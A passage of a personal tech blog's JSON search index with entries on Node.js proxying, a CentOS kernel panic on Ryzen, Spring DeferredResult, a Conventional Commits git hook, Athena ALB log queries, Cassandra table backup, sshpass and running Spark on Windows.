class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enpm i global-agent\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eexport\u003c/span\u003e \u003cspan class=\"nv\"\u003eGLOBAL_AGENT_HTTP_PROXY\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003ehttp://127.0.0.1:8888\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003enode -r \u003cspan class=\"s1\"\u003e\u0026#39;global-agent/bootstrap\u0026#39;\u003c/span\u003e app.js\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis will enable you to proxy all requests through proxy server running at 127.0.0.1 on port 8888, which could be \u003ca href=\"https://www.charlesproxy.com/\"\u003eCharles\u003c/a\u003e or \u003ca href=\"https://portswigger.net/burp/communitydownload\"\u003eBurp\u003c/a\u003e\u003c/p\u003e","title":"Proxy nodejs requests through Proxy Server"},{"content":"Recently, I upgraded my personal computer CPU from Intel Core i7 2600K (SandyBridge) to AMD Ryzen 5600x\nThe older processor was a decade old and the accompanying board didn\u0026rsquo;t support new age SSDs such as Nvme PCI 4 SSD\nHowever, post upgradation, as soon as I booted my existing system running CentOS 7, I recieved a dreaded kernel panic very similar to BSOD in Windows\nTurns out that latest AMD processors are not supported on Kernel 3.x which comes with CentOS 7. I had to upgrade it to Cent OS 8 which comes with Kernel 4.x\n","permalink":"https://madhur.co.in/blog/2021/11/27/linux-kernel-panic.html","summary":"\u003cp\u003eRecently, I upgraded my personal computer CPU from \u003ca href=\"https://ark.intel.com/content/www/us/en/ark/products/52214/intel-core-i72600k-processor-8m-cache-up-to-3-80-ghz.html\"\u003eIntel Core i7 2600K (SandyBridge)\u003c/a\u003e to \u003ca href=\"https://www.amd.com/en/products/cpu/amd-ryzen-5-5600x\"\u003eAMD Ryzen 5600x\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eThe older processor was a decade old and the accompanying board didn\u0026rsquo;t support new age SSDs such as \u003ca href=\"https://www.samsung.com/us/computing/memory-storage/solid-state-drives/980-pro-pcie-4-0-nvme-ssd-1tb-mz-v8p1t0b-am/\"\u003eNvme PCI 4 SSD\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHowever, post upgradation, as soon as I booted my existing system running CentOS 7, I recieved a dreaded \u003ca href=\"https://en.wikipedia.org/wiki/Kernel_panic\"\u003ekernel panic\u003c/a\u003e very similar to \u003ca href=\"https://en.wikipedia.org/wiki/Blue_screen_of_death\"\u003eBSOD in Windows\u003c/a\u003e\u003c/p\u003e\n\u003cimg src='/images/kernel-panic.jpg' height=\"600px\"  /\u003e\n\u003cp\u003eTurns out that latest AMD processors are not supported on Kernel 3.x which comes with CentOS 7. I had to upgrade it to Cent OS 8 which comes with Kernel 4.x\u003c/p\u003e","title":"Kernel Panic with AMD Ryzen 5600x on CentOS 7"},{"content":"In most of the modern web REST implementations, much of the task is spent waiting on IO, for example waiting for data to be fetched from database or through remote REST service.\nWhen the application receives high traffic on a thread based application server, such as Tomcat, much of its threads are just waiting for data to come from database or remote REST service.\nThis is inefficient because, you cannot increase the number of threads vertically in a single compute. Theoretically you can, but its just pure inefficient because most of those threads will be just blocked.\nThus, in order to scale such applications, the better model is to offload this waiting to pool of worker threads. This will free up the Tomcat http worker threads(\u0026ldquo;http-nio-n\u0026rdquo;) to recieve more incoming requests.\nThis can be easily achieved using DeferredResult\nA typical implementation in Java / Spring looks like this:\n@GetMapping(\u0026#34;/deferred\u0026#34;) public DeferredResult\u0026lt;ResponseEntity\u0026lt;String\u0026gt;\u0026gt; getDeferredResult() { CompletableFuture\u0026lt;String\u0026gt; completableFuture = deferredResultService.getDelayedResult(); DeferredResult\u0026lt;ResponseEntity\u0026lt;String\u0026gt;\u0026gt; deferredResult = new DeferredResult\u0026lt;\u0026gt;(); completableFuture.thenAccept(result -\u0026gt; { if (deferredResult.hasResult()) { return; } deferredResult.setResult(new ResponseEntity\u0026lt;\u0026gt;(result, HttpStatus.OK)); }); completableFuture.exceptionally(e -\u0026gt; { return null; }); return deferredResult; } DeferredResultService instead of returning the actual result, just returns the future, whose actual implementation happens in a worker thread\nIf we run benchmark this API using ab by firing 100 requests concurrently, we see that it consumers only ~30 http-nio-n threads.\nPS D:\\apache\\Apache24\\bin\u0026gt; ./ab -n 100 -c 100 http://localhost:8080/deferred This is ApacheBench, Version 2.3 \u0026lt;$Revision: 1879490 $\u0026gt; Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking localhost (be patient).....done Server Software: Server Hostname: localhost Server Port: 8080 Document Path: /deferred Document Length: 8 bytes Concurrency Level: 100 Time taken for tests: 20.030 seconds Complete requests: 100 Failed requests: 0 Total transferred: 14000 bytes HTML transferred: 800 bytes Requests per second: 4.99 [#/sec] (mean) Time per request: 20029.525 [ms] (mean) Time per request: 200.295 [ms] (mean, across all concurrent requests) Transfer rate: 0.68 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 0 0 0.3 0 1 Processing: 10008 10014 3.9 10015 10022 Waiting: 10004 10014 4.0 10015 10022 Total: 10008 10014 3.9 10015 10022 Percentage of the requests served within a certain time (ms) 50% 10015 66% 10016 75% 10017 80% 10017 90% 10020 95% 10021 98% 10022 99% 10022 100% 10022 (longest request) Check out the demo project in my github repository\n","permalink":"https://madhur.co.in/blog/2021/11/20/offload-io-intensive-tasks-to-threads.html","summary":"\u003cp\u003eIn most of the modern web REST implementations, much of the task is spent waiting on IO, for example waiting for data to be fetched from database or through remote REST service.\u003c/p\u003e\n\u003cp\u003eWhen the application receives high traffic on a thread based application server, such as Tomcat, much of its threads are just waiting for data to come from database or remote REST service.\u003c/p\u003e\n\u003cp\u003eThis is inefficient because, you cannot increase the number of threads vertically in a single compute. Theoretically you can, but its just pure inefficient because most of those threads will be just blocked.\u003c/p\u003e","title":"Offload IO Intensive tasks to worker threads"},{"content":"Conventional Commits is a an effort to standardizing writing better git commit messages.\nAs per it, a commit message should be structured as follows\n\u0026lt;type\u0026gt;[optional scope]: \u0026lt;description\u0026gt; [optional body] [optional footer(s)] We recently standardized writing commit messages in our team according to this spec. This can be even forced through git commit hooks\n#!/bin/sh commit_regex_normal=\u0026#34;(((feat|docs|style|refactor|perf|test|build|ci|chore|revert)(\\((\\w{0,15})\\))?))(\\:.*\\S.*)\u0026#34;; commit_regex_bug_fix=\u0026#34;(((Fix)(\\((\\w{0,15})\\))?))(\\:)([A-Z]+-[0-9]+:)(.*\\S.*)\u0026#34;; commit_regex_auto_gen=\u0026#34;(Merge.*)|(Revert.*)\u0026#34;; o=\u0026#34;|\u0026#34; commit_regex=\u0026#34;$commit_regex_normal$o$commit_regex_bug_fix$o$commit_regex_auto_gen\u0026#34; error_msg=\u0026#39; /‾‾‾‾‾‾‾‾ \u0026lt; Please use semantic commit messages(see https://www.conventionalcommits.org/en/v1.0.0 ) \\________ \u0026lt;type\u0026gt;[\u0026lt;scope\u0026gt;]: \u0026lt;short summary\u0026gt; │ | │ │ (optional) └─\u0026gt; Summary in present tense. Not capitalized. No period at the end. │ └─\u0026gt; Type: chore, docs, feat, fix, refactor, style, or test. fix[\u0026lt;scope\u0026gt;]: ABC-1234 summary (Jira id mandatory for type -fix) \u0026#39; if ! grep -iqE \u0026#34;${commit_regex}\u0026#34; \u0026#34;$1\u0026#34;; then echo \u0026#34;${error_msg}\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi ","permalink":"https://madhur.co.in/blog/2021/11/13/conventional-commits.html","summary":"\u003cp\u003e\u003ca href=\"https://www.conventionalcommits.org/en/v1.0.0/#specification\"\u003eConventional Commits\u003c/a\u003e is a an effort to standardizing writing better git commit messages.\u003c/p\u003e\n\u003cp\u003eAs per it, a commit message should be structured as follows\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e\u0026lt;type\u0026gt;[optional scope]: \u0026lt;description\u0026gt;\n\n[optional body]\n\n[optional footer(s)]\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eWe recently standardized writing commit messages in our team according to this spec. This can be even forced through \u003ca href=\"https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks\"\u003egit commit hooks\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#!/bin/sh\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003ecommit_regex_normal\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;(((feat|docs|style|refactor|perf|test|build|ci|chore|revert)(\\((\\w{0,15})\\))?))(\\:.*\\S.*)\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003ecommit_regex_bug_fix\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;(((Fix)(\\((\\w{0,15})\\))?))(\\:)([A-Z]+-[0-9]+:)(.*\\S.*)\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003ecommit_regex_auto_gen\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;(Merge.*)|(Revert.*)\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eo\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;|\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003ecommit_regex\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$commit_regex_normal$o$commit_regex_bug_fix$o$commit_regex_auto_gen\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003eerror_msg\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;       /‾‾‾‾‾‾‾‾\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e    \u0026lt;  Please use semantic commit messages(see https://www.conventionalcommits.org/en/v1.0.0 )\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e       \\________\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e  \u0026lt;type\u0026gt;[\u0026lt;scope\u0026gt;]: \u0026lt;short summary\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e     │     |              │\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e     │   (optional)       └─\u0026gt; Summary in present tense. Not capitalized. No period at the end.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e     │\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e     └─\u0026gt; Type: chore, docs, feat, fix, refactor, style, or test.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e    fix[\u0026lt;scope\u0026gt;]: ABC-1234 summary (Jira id mandatory for type -fix)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e ! grep -iqE \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003ecommit_regex\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"nv\"\u003e$1\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"k\"\u003ethen\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"nv\"\u003eerror_msg\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e \u0026gt;\u003cspan class=\"p\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nb\"\u003eexit\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efi\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Conventional Commits"},{"content":"Recently, I had a requirement of querying AWS Application Load Balancer Logs to get some data around request/ sec and p95 latencies.\nThe Application load balancer logs are stored in AWS S3 by default and follows a consistent format which is documented here\nAWS Athena is the best tool to query such logs.\nBest practices using AWS Athena Make sure you specify the time period when querying Athena, else the data scanned will be very huge and you will end up paying lot more.\nTo find out the relevant time period to query, have a look at the AWS Cloudwatch metrics and find intreseting patterns such as spikes in request count, response time etc\nIf your ALB has comples routing logic, make sure to specify the Target group in the query\nFind url and times it was called within the specified time period SELECT request_url, count(*) as count FROM \u0026#34;alb_logs\u0026#34;.\u0026#34;\u0026lt;alb_name\u0026gt;\u0026#34; where year=\u0026#39;2021\u0026#39; and month=\u0026#39;10\u0026#39; and day=\u0026#39;24\u0026#39; and request_creation_time \u0026gt; \u0026#39;2021-10-24T13:37:00.000000Z\u0026#39; and request_creation_time \u0026lt; \u0026#39;2021-10-24T13:38:00.000000Z\u0026#39; group by request_url order by count desc limit 50 Find p95 Latency by url SELECT request_url, approx_percentile(target_processing_time, 0.95) as p95 FROM \u0026#34;alb_logs\u0026#34;.\u0026#34;\u0026lt;alb_name\u0026gt;\u0026#34; where year=\u0026#39;2021\u0026#39; and month=\u0026#39;10\u0026#39; and day=\u0026#39;24\u0026#39; and request_creation_time \u0026gt; \u0026#39;2021-10-24T13:43:00.000000Z\u0026#39; and request_creation_time \u0026lt; \u0026#39;2021-10-24T13:44:00.000000Z\u0026#39; group by request_url order by p95 desc limit 50 ","permalink":"https://madhur.co.in/blog/2021/11/06/querying-alb-logs-aws-athena.html","summary":"\u003cp\u003eRecently, I had a requirement of querying \u003ca href=\"https://docs.aws.amazon.com/elasticloadbalancing/latest/application/introduction.html#:~:text=Elastic%20Load%20Balancing%20automatically%20distributes,only%20to%20the%20healthy%20targets.\"\u003eAWS Application Load Balancer\u003c/a\u003e Logs to get some data around request/ sec and p95 latencies.\u003c/p\u003e\n\u003cp\u003eThe Application load balancer logs are stored in \u003ca href=\"https://aws.amazon.com/s3/\"\u003eAWS S3\u003c/a\u003e by default and follows a consistent format which is \u003ca href=\"https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-access-logs.html\"\u003edocumented here\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://aws.amazon.com/athena/?whats-new-cards.sort-by=item.additionalFields.postDateTime\u0026amp;whats-new-cards.sort-order=desc\"\u003eAWS Athena\u003c/a\u003e is the best tool to query such logs.\u003c/p\u003e\n\u003ch2 id=\"best-practices-using-aws-athena\"\u003eBest practices using AWS Athena\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eMake sure you specify the time period when querying Athena, else the data scanned will be very huge and you will end up paying lot more.\u003c/p\u003e","title":"Querying AWS ALB Logs using Athena"},{"content":"Recently, we had to make alterations directly to production cassandra tables due to an urgent bug fix and required to backup and restore specific cassandra tables so that we could roll back incase something gone wrong.\nBackup and restoring tables is seamless using nodetool and sstableloader\nCassandra table backup steps Login to Casandra Box Execute the following commands from the cassandra bin directory ./nodetool snapshot -cf \u0026lt;tablename\u0026gt; \u0026lt;keyspace\u0026gt; Repeat the same for any other table to be backed up\nThis will create snapshots in the data directory at following locations:\ncassandra/data/data/\u0026lt;keyspace\u0026gt;/\u0026lt;table\u0026gt;-\u0026lt;UID\u0026gt;/snapshots/\u0026lt;epoch\u0026gt; Cassandra table restore steps Login to cassandra box Navigate to following folder cassandra/data/data/f\u0026lt;keyspace\u0026gt;/\u0026lt;table\u0026gt;-\u0026lt;UID\u0026gt; Execute following command\ncp snapshots/\u0026lt;epoch\u0026gt;/*.* . Repeat the same for any other table to be restored\nOnce all the snapshots have been copied to data directory, run following commands in sequence:\n./nodetool refresh \u0026lt;keyspace\u0026gt; \u0026lt;table\u0026gt;; ","permalink":"https://madhur.co.in/blog/2021/10/30/backup-and-restore-specific-cassandra-tables.html","summary":"\u003cp\u003eRecently, we had to make alterations directly to production cassandra tables due to an urgent bug fix and required to backup and restore specific cassandra tables so that we could roll back incase something gone wrong.\u003c/p\u003e\n\u003cp\u003eBackup and restoring tables is seamless using \u003ca href=\"https://cassandra.apache.org/doc/latest/cassandra/tools/nodetool/nodetool.html\"\u003enodetool\u003c/a\u003e and \u003ca href=\"https://cassandra.apache.org/doc/latest/cassandra/tools/sstable/sstableloader.html\"\u003esstableloader\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"cassandra-table-backup-steps\"\u003eCassandra table backup steps\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eLogin to Casandra Box\u003c/li\u003e\n\u003cli\u003eExecute the following commands from the cassandra bin directory\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e   ./nodetool snapshot -cf \u0026lt;tablename\u0026gt; \u0026lt;keyspace\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eRepeat the same for any other table to be backed up\u003c/p\u003e","title":"Backup and Restore specific cassandra tables"},{"content":"If your server does not allow key based login, you might need to enter password each time you want to ssh into.\nssh does not allow entering password into the command line.\nThere is a nifty tool to allow exactly that sshpass\n$ sudo apt-get install sshpass $ sshpass -p your_password ssh user@hostname On Mac\nbrew install hudochenkov/sshpass/sshpass ","permalink":"https://madhur.co.in/blog/2021/10/23/using-sshpass-to-skip-entering-password.html","summary":"\u003cp\u003eIf your server does not allow key based login, you might need to enter password each time you want to ssh into.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003essh\u003c/code\u003e does not allow entering password into the command line.\u003c/p\u003e\n\u003cp\u003eThere is a nifty tool to allow exactly that \u003ccode\u003esshpass\u003c/code\u003e\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ sudo apt-get install sshpass\n$ sshpass -p your_password ssh user@hostname\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eOn Mac\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ebrew install hudochenkov/sshpass/sshpass\n\u003c/code\u003e\u003c/pre\u003e","title":"Using sshpass to skip entering passwords for SSH"},{"content":"Assuming you have spark downloaded on machine, you would run ./spark-class org.apache.spark.deploy.master.Master to run the Spark Master controller\nPS D:\\spark\\spark\\bin\u0026gt; ./spark-class org.apache.spark.deploy.master.Master Using Spark\u0026#39;s default log4j profile: org/apache/spark/log4j-defaults.properties 21/10/16 09:53:02 INFO Master: Started daemon with process name: 4804@DESKTOP-QCP2G4K 21/10/16 09:53:02 WARN Shell: Did not find winutils.exe: {} 21/10/16 09:53:02 WARN NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 21/10/16 09:53:02 INFO SecurityManager: Changing view acls to: user 21/10/16 09:53:02 INFO SecurityManager: Changing modify acls to: user 21/10/16 09:53:02 INFO SecurityManager: Changing view acls groups to: 21/10/16 09:53:02 INFO SecurityManager: Changing modify acls groups to: 21/10/16 09:53:02 INFO SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(user); groups with view permissions: Set(); users with modify permissions: Set(user); groups with modify permissions: Set() 21/10/16 09:53:03 INFO Utils: Successfully started service \u0026#39;sparkMaster\u0026#39; on port 7077. 21/10/16 09:53:03 INFO Master: Starting Spark master at spark://172.21.128.1:7077 21/10/16 09:53:03 INFO Master: Running Spark version 3.1.2 21/10/16 09:53:03 INFO Utils: Successfully started service \u0026#39;MasterUI\u0026#39; on port 8080. 21/10/16 09:53:03 INFO MasterWebUI: Bound MasterWebUI to 0.0.0.0, and started at http://DESKTOP-QCP2G4K.mshome.net:8080 21/10/16 09:53:03 INFO Master: I have been elected leader! New state: ALIVE The spark UI will now be running at http://localhost:8080\nNow, we want to run the spark executor using ./spark-class org.apache.spark.deploy.worker.Worker spark://172.21.128.1:7077\nPS D:\\spark\\spark\\bin\u0026gt; ./spark-class org.apache.spark.deploy.worker.Worker spark://172.21.128.1:7077 Using Spark\u0026#39;s default log4j profile: org/apache/spark/log4j-defaults.properties 21/10/16 09:56:12 INFO Worker: Started daemon with process name: 8800@DESKTOP-QCP2G4K 21/10/16 09:56:12 WARN Shell: Did not find winutils.exe: {} 21/10/16 09:56:12 WARN NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable 21/10/16 09:56:12 INFO SecurityManager: Changing view acls to: user 21/10/16 09:56:12 INFO SecurityManager: Changing modify acls to: user 21/10/16 09:56:12 INFO SecurityManager: Changing view acls groups to: 21/10/16 09:56:12 INFO SecurityManager: Changing modify acls groups to: 21/10/16 09:56:12 INFO SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users with view permissions: Set(user); groups with view permissions: Set(); users with modify permissions: Set(user); groups with modify permissions: Set() 21/10/16 09:56:12 INFO Utils: Successfully started service \u0026#39;sparkWorker\u0026#39; on port 57088. 21/10/16 09:56:12 INFO Worker: Worker decommissioning not enabled, SIGPWR will result in exiting. 21/10/16 09:56:13 INFO Worker: Starting Spark worker 172.21.128.1:57088 with 12 cores, 30.9 GiB RAM 21/10/16 09:56:13 INFO Worker: Running Spark version 3.1.2 21/10/16 09:56:13 INFO Worker: Spark home: D:\\spark\\spark\\bin\\.. 21/10/16 09:56:13 INFO ResourceUtils: ============================================================== 21/10/16 09:56:13 INFO ResourceUtils: No custom resources configured for spark.worker. 21/10/16 09:56:13 INFO ResourceUtils: ============================================================== 21/10/16 09:56:13 INFO Utils: Successfully started service \u0026#39;WorkerUI\u0026#39; on port 8081. 21/10/16 09:56:13 INFO WorkerWebUI: Bound WorkerWebUI to 0.0.0.0, and started at http://DESKTOP-QCP2G4K.mshome.net:8081 21/10/16 09:56:13 INFO Worker: Connecting to master 172.21.128.1:7077... 21/10/16 09:56:13 INFO TransportClientFactory: Successfully created connection to /172.21.128.1:7077 after 21 ms (0 ms spent in bootstraps) 21/10/16 09:56:13 INFO Worker: Successfully registered with master spark://172.21.128.1:7077 Spark is now ready to be used in any application such as Java.\n@Configuration public class SparkConfig { @Value(\u0026#34;${spark.app.name}\u0026#34;) private String appName; @Value(\u0026#34;${spark.master}\u0026#34;) private String masterUri; @Bean public SparkConf conf() { SparkConf conf = new SparkConf() .setAppName(\u0026#34;local-1634217252353\u0026#34;) .setMaster(\u0026#34;spark://172.21.128.1:7077\u0026#34;); return conf; } @Bean public JavaSparkContext sc() { JavaSparkContext sc = new JavaSparkContext(conf()); return sc; } } ","permalink":"https://madhur.co.in/blog/2021/10/16/running-spark-on-windows.html","summary":"\u003cp\u003eAssuming you have spark downloaded on machine, you would run \u003ccode\u003e./spark-class org.apache.spark.deploy.master.Master\u003c/code\u003e to run the Spark Master controller\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-text\" data-lang=\"text\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ePS D:\\spark\\spark\\bin\u0026gt;  ./spark-class org.apache.spark.deploy.master.Master\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eUsing Spark\u0026#39;s default log4j profile: org/apache/spark/log4j-defaults.properties\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:02 INFO Master: Started daemon with process name: 4804@DESKTOP-QCP2G4K\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:02 WARN Shell: Did not find winutils.exe: {}\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:02 WARN NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:02 INFO SecurityManager: Changing view acls to: user\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:02 INFO SecurityManager: Changing modify acls to: user\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:02 INFO SecurityManager: Changing view acls groups to:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:02 INFO SecurityManager: Changing modify acls groups to:\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:02 INFO SecurityManager: SecurityManager: authentication disabled; ui acls disabled; users  with view permissions: Set(user); groups with view permissions: Set(); users  with modify permissions: Set(user); groups with modify permissions: Set()\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:03 INFO Utils: Successfully started service \u0026#39;sparkMaster\u0026#39; on port 7077.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:03 INFO Master: Starting Spark master at spark://172.21.128.1:7077\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:03 INFO Master: Running Spark version 3.1.2\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:03 INFO Utils: Successfully started service \u0026#39;MasterUI\u0026#39; on port 8080.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e21/10/16 09:53:03 INFO MasterWebUI: Bound 